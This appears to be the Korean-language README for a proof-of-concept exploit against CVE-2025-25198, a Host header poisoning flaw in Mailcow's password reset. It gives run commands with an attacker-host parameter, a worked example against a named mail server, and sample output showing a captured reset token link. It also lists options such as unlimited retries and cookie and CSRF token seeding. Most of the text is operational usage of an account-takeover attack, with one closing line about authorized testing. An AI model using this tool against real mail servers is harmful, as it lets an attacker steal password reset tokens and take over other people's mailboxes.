
CVE-2025-25198을 위한 PoC: Mailcow 자동 호스트 헤더 포이즈닝 테스트 - HTTPS 리스너, 자동 쿠키/CSRF 처리, 첫 번째 재설정 링크 캡처.
CVE-2025-25198에 대한 개념 증명(PoC)으로, Mailcow 비밀번호 재설정 흐름에 영향을 미치는 Host 헤더 중독 문제입니다.
이 스크립트는 로컬 HTTPS 리스너를 포트 443에서 시작하고, 유효한 CSRF 토큰을 자동으로 획득하며, 중독된 Host 헤더로 비밀번호 재설정 시퀀스를 전송한 후 HTTP 응답 또는 리스너로의 콜백을 통해 재설정 링크가 복구되면 중단됩니다.
Host 헤더로 재설정 흐름을 전송합니다.Python 3.8+
OpenSSL in PATH
sudo/root 권한으로 포트 443 바인딩
대상에서 인바운드 TCP/443 접근 가능
의존성 설치:
pip install -r requirements.txt
꺾쇠괄호(< >)로 감싸진 값은 자리표시자입니다. 자신의 값으로 바꾸고 <, > 문자는 포함하지 마세요.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url <MAILCOW_URL> \
--username <MAILBOX> \
--attacker-host <ATTACKER_HOST> \
--http2
<MAILCOW_URL> # 대상 Mailcow 기본 URL. 예: https://mail.example.com
<MAILBOX> # 재설정 폼에 전달되는 메일박스/사용자. 보통 이메일 주소.
<ATTACKER_HOST> # 대상이 TCP/443에 도달할 수 있는 IP 또는 DNS 이름.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url https://mail.cows.com \
--username [email protected] \
--attacker-host 10.10.13.12 \
--http2
예제 출력:
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]
╔════════════════════════════════════════════════════════════════════════════════╗
║ RESET LINK FOUND! (listener) ║
╟════════════════════════════════════════════════════════════════════════════════╢
║ https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD ║
║ Target: mail.cows.com ║
╚════════════════════════════════════════════════════════════════════════════════╝
--http2
httpx를 통해 HTTP/2 사용. 최신 브라우저와의 최상의 호환성을 위해 권장됨.
--interval <seconds>
시도와 리스너 대기 창 사이의 초 단위 간격. 기본값: 8
--max-attempts <N>
N회 시도 후 중단. 기본값: 0 (무제한 재시도)
--cookie '<pairs>'
클라이언트 쿠키 저장소를 수동으로 시드합니다.
예: --cookie 'PHPSESSID=abcdef123456; another=value'
--csrf <TOKEN>
자동 발견 대신 알려진 CSRF 토큰 사용.
--only-final
진행 로그를 숨기고 최종 재설정 링크 배너만 출력합니다.
443에 바인딩됩니다.443을 바인딩하려면 sudo 또는 root 권한이 필요합니다.https://<ATTACKER_HOST>/에 도달할 수 있어야 합니다.server.pem 및 server.key가 없으면 자동으로 생성됩니다.이 PoC는 공인된 보안 테스트, 실험실 환경 및 취약점 검증을 위한 것입니다. 명시적 허가 없이 시스템에 대해 사용하지 마십시오.